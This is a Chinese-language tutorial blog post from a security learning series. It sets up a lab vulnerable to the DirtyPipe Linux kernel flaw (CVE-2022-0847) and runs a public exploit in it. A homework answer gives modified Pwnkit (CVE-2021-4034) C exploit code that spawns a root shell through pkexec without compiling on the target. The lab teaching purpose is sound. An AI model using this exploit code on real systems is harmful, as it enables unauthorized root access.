iT邦幫忙

2022 iThome 鐵人賽

DAY 15
1
影片教學

從建立環境、驗證漏洞、感受漏洞來學習資安系列 第 17

Day15 - DirtyPipe 只有在這個骯髒的管線,才能義正嚴詞的說那些分頁是無辜的。 (作業5解答)

  • 分享至 

  • xImage
  •  

只有在這個骯髒的世界,你們才能義正嚴詞的說那些人是無辜的 - 火線追緝令(1995)

Yes

  • 終於到第15天了,賽程也差不多來到一半。今天則是要講另一個 Linux 核心提權漏洞叫做 DirtyPipe,而且厲害的是它是由一個程式開發者發現的/images/emoticon/emoticon04.gif,先來看看這個漏洞的相關資訊吧。

  • 漏洞相關資訊

    • 漏洞編號 : CVE-2022-0847
    • CVSS 3.0 分數 : 7.8 HIGH
    • 漏洞類型 : 權限提升
    • 使用版本資訊
      • Ubuntu: 22.04.1 LTS
      • Linux kernel: 5.15.15
    • 漏洞先備知識 :
      • C 程式語言基本概念
    • 漏洞收穫技能 :
      • Linux kernel 切換技巧
      • Linux Pipe 背後概念
  • 這個漏洞本身跟 Linux kernel 背後的程式有關,那先來說說何為 Linux kernel。Linux Kernel 本身提供應用程式介面(API),通過該介面使用者程式能與核心及硬體互動。那一些重要的作業系統功能也會由 Linux kernel 來負責,像是行程管理、記憶體管理、中斷管理、檔案系統之類的。所以針對這個漏洞環境的架設,必須要考慮到使用的 Linux kernel 的版本。但因為 Linux kernel 負責的功能至關重要,所以切換核心版本的時候要特別小心,弄個不好有可能會開不了機之類的。/images/emoticon/emoticon17.gif

  • 那更新 Linux kernel 的方法大概有三種,第一種是透過 apt/yum 方式安裝,第二種則是去下載 deb/rpm 檔案進行安裝,第三種則是下載原始碼編譯及安裝。難度的話越後面的越為困難,但是原始碼編譯可客製化的程度更高。因為這次使用的 Ubuntu 22.04 可透過 apt 下載的 kernel 版本均已修復,因此不得已只好透過 deb 的方式去做安裝及切換。

步驟如下 :

  1. 連到 Linux kernel v5.15.15 下載相關檔案
wget https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.15.15/amd64/linux-headers-5.15.15-051515-generic_5.15.15-051515.202201160435_amd64.deb
wget https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.15.15/amd64/linux-headers-5.15.15-051515_5.15.15-051515.202201160435_all.deb
wget https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.15.15/amd64/linux-image-unsigned-5.15.15-051515-generic_5.15.15-051515.202201160435_amd64.deb
wget https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.15.15/amd64/linux-modules-5.15.15-051515-generic_5.15.15-051515.202201160435_amd64.deb
  1. sudo dpkg -i *.deb #不要一個個安裝,會失敗,讓系統自己決定相依性 /images/emoticon/emoticon13.gif
  2. sudo vim /etc/default/grub # 調整 GRUB_TIMEOUT=30
  3. sudo update-grub
  4. sudo shutdown -r now
  5. 重開機要按 Esc 觸發開機選單
  6. uname -r # 確認 kernel 版本
  7. sudo adduser low
  8. su low
  9. git clone https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit.git
  10. ./compile.sh
  11. ./exploit
  12. whoami
  13. exit
  • 這樣子就完成 dirtypipe 的環境搭建,主要的關鍵還是在於 linux kernel 的版本安裝及切換。那下一次的影片就會說明這個漏洞的形成原因以及POC程式進行分析。

Pwnkit 回家作業解答 : /images/emoticon/emoticon33.gif

  • 目前該 POC 程式會在執行期間在進行 compile 一次,但萬一目標機器沒裝 gcc 的話就無法使用,請想辦法把它改成不需要執行中編譯的版本,並在目標機器上進行測試執行。

步驟如下 :

  1. 分析 POC 程式行為
  2. 移除刪除資料夾及檔案部分
char *shell =
        "#include <stdio.h>\n"
        "#include <stdlib.h>\n"
        "#include <unistd.h>\n\n"
        "void gconv() {}\n"
        "void gconv_init() {\n"
        "       setuid(0); setgid(0);\n"
        "       seteuid(0); setegid(0);\n"
        //"     system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n"
        "     system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin;  /bin/sh\");\n"
        "       exit(0);\n"
        "}";
  1. 編譯後執行程式產生相關檔案
  2. 移除編譯程式部分
int main(int argc, char *argv[]) {
        //建立資料夾跟編譯部分都不需要        
        char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
        execve("/usr/bin/pkexec", (char*[]){NULL}, env);
}
  1. 編譯後執行程式產生相關檔案
  2. sudo yum remove gcc # 打包給 low 使用,並移除 gcc 指令
  3. 執行提權攻擊程式

參考資料 :

  1. Ubuntu update kernel
  2. ubuntu14.04更换内核为3.14

上一篇
Day14 - Pwnkit 如果沒有 SUID,那跟鹹魚有什麼分別? (作業5)
下一篇
Day16 - DirtyPipe - 如果有一個分頁,你可以提權,你會不會想要用?
系列文
從建立環境、驗證漏洞、感受漏洞來學習資安37
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言